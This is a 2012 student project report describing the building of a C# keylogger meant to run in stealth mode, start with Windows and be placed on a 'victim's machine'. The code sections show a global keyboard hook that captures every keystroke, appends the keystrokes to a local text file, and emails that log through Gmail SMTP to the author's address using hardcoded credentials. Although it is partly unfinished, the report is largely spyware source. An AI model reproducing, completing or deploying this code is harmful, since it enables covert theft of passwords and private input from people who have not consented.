Lillebaelt Academy of
Professional Higher Education
IT and Electronics Engineering

# Special subject project 2

# Keylogger

2012

**Arturas Solncevas**

**Teacher:**
**Per Dahlstrøm**

# Preface

As the result of special subject project No.2 of third semester we were given a task to write a project.
Purpose of it was to find the common subject for each student or group of students, so that it would be interesting for everybody to make it. We had the possibility to choose our theme from given subjects or think about something our own, that would be related to what our education is about.
I have thought about what I would like to work with and came up with the decision to make a project in programming. I have also thought about doing it with somebody in a team but unfortunately most of the class mates had chose what they want to put their hands on.

# Table of contents

# Introduction

Since I was concentrated on programming I got myself to get familiar with C#(Sharp) programming language which is superior and in some way similar to Java.
It is also Object orientated.
C#(Sharp) is very popular on the Market and in a lot of companies they require or consider a big plus o know this particular language.
I have never programmed in C#, therefore I thought It might be a good idea to start to learn it.
I have been thinking about the possible application that I could write and came up with a decision to make a Key logger which would track all the events on the keyboard and save them in a file.

# Description

## Specifications for website

- Key logger is going to be written in C# programming language.
- It will be functioning in Windows environment.
- Key logger will run in stealth mode.
- It will start to run whenever operating system starts to run.

## Functional requirements

- The Key logger user has to put exe file on victims machine.
- The user has to receive email in text files with logs every 30 min

## Non Functional requirements

- The program wouldn’t be more than 1Mb in size.
- The program wouldn’t consume more than 8,000K Memory(Private Working Set)

## What is C # ?

A hybrid of C and C++, it is a Microsoft programming language developed to compete with Sun's Java language. C# is an object-oriented programming language used with XML-based Web services on the .NET platform and designed for improving productivity in the development of Web applications. C# boasts type-safety, garbage collection, simplified type declarations, versioning and scalability support, and other features that make developing solutions faster and easier, especially for COM+ and Web services.

## What is keylogger ?

A keylogger is a hardware device or a software program that records the real time activity of a computer user including the keyboard keys they press.

Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Keyloggers can also be used by a family (or business) to monitor the network usage of people without their direct knowledge. Finally, malicious individuals may use keyloggers on public computers to steal passwords or credit card information.

# Key capture

Event capturing is what makes Keylogger so unique . Key capturing carries very simple code if it is performed within the application window. Unfortunately it is not so simple when we have to capture events in all the system. For ex Internet browser, Skype, Word document and etc…

**Local capture** is an action when events such as keyboard press or mouse movement is or any other kind of input is captured within the application.

**Global capture** is an action when we are capturing such an events in the whole system and in any application that we are currently on.

In order to perform global capture in C# we have to perform a Global Hook.

**Global hook** is a function you can create as part of a dll or your application to monitor the 'goings on' inside the windows operating system. The idea is to write a function that is called every time a certain event in windows occurs - for example when a user presses a key on the keyboard or moves the mouse.

**What is DLL files ?**

A dynamic link library (DLL) is a collection of small programs, which can be called upon when needed by the executable program (EXE) that is running.

# Code

### Global Hook

First of all im creating the class **GlobalKeyboardHook** where I am importing needed DLL files to Hook up the keyboard.

```
public class GlobalKeyboardHook
{
    [DllImport("user32.dll")]
    static extern int CallNextHookEx(IntPtr hhk, int code, int wParam, ref keyBoardHookStruct lParam);
    [DllImport("user32.dll")]
    static extern IntPtr SetWindowsHookEx(int idHook, LLKeyboardHook callback, IntPtr hInstance, uint theardID);
    [DllImport("user32.dll")]
    static extern bool UnhookWindowsHookEx(IntPtr hInstance);
    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string lpFileName);

    public delegate int LLKeyboardHook(int Code, int wParam, ref keyBoardHookStruct lParam);
```

We are importing user32.dll which has hook functions and kernel.32.dll which has libraries that we need to use in order to hook up the keyboard.

### Main call

When application starts then we call predefined fuctions from GlobalKeyboardHook class to start hooking up the keyboard.

```
private void Form1_Load(object sender, EventArgs e)
{


    mail = new Mailsender();
    Thread t1 = new Thread(mail.sendmail);
   // Thread t2 = new Thread(mail.sendmail);

    gHook = new GlobalKeyboardHook();
    gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
    foreach (Keys key in Enum.GetValues(typeof(Keys)))
        gHook.HookedKeys.Add(key);
    gHook.hook();
  // mail.sendmail();
   // t1.Start();
```

When the program is started then it creates a list

```
List<string> words = new List<string>();
```

The list is should store every keycharacter that is pressed:

```
words.Add(keypressed);
```

Whenever Enter is pressed all the content from the list is appended to the text “test.txt” file. Afterwards all the list values are deleted and it can be refilled with the new characters until we press Enter again.

```
if (e.KeyData == Keys.Enter )
{
    var message = string.Join(Environment.NewLine, words);
    //MessageBox.Show(message);
   // System.IO.StreamWriter file = new System.IO.StreamWriter("c:\\clever\\test.txt");
    StreamWriter file = File.AppendText("c:\\clever\\test.txt");
    foreach (string i in words)
    {


        file.Write(i);

    }

    file.Write(" ");

    file.Close();
```

# Mail

Every 30 min email is sent from the computer with keylogger to any wished email
In this example it is 15000 miliseconds which is 15 Seconds.

```
  Thread.Sleep(15000);


                try
                {

                    MailMessage mail = new MailMessage();

                    SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
                    mail.From = new MailAddress("matrasas21@gmail.com");
                    mail.To.Add("matrasas21@gmail.com");
                    mail.Subject = "Test Mail - 1";
                    mail.Body = "mail with attachment";

                    System.Net.Mail.Attachment attachment;
                    attachment = new System.Net.Mail.Attachment("c:\\clever\\test.txt");
                    mail.Attachments.Add(attachment);

                    SmtpServer.Port = 587;
                    SmtpServer.Credentials = new
System.Net.NetworkCredential("matrasas21", "password");
                    SmtpServer.EnableSsl = true;

                    SmtpServer.Send(mail);
                    MessageBox.Show("MailSent");
```

The only problem I am facing now is that I can not make program to run and send emails simultaneously because I did not find out yet how to multithread. I can only run 1 thread at a time now.

# Conclusion

This special subject, open and showed me the wide possibilities of C# language. I started by having absolute no idea how it functions, that made me to search for various tutorials and explanations in order to solve and find answers for  arisen questions. During the whole work I could not find all the information that I wanted, this is why I started to test everything myself. I have to admit it took some time but at the end I achieved nearly  what I wanted. Perhaps I could do much more with C# code and implement more stuff.  But as for now I am glad that I touched very basics of it. I believe I will continue to improve and learn much more stuff that is straightly related to this amazing language.

The lesson that I learned is that documentation of the project is very important and therefore I have to do better in documenting and presenting my work. I also have some stuff to improve such as multithreading and make it work in stealth mode.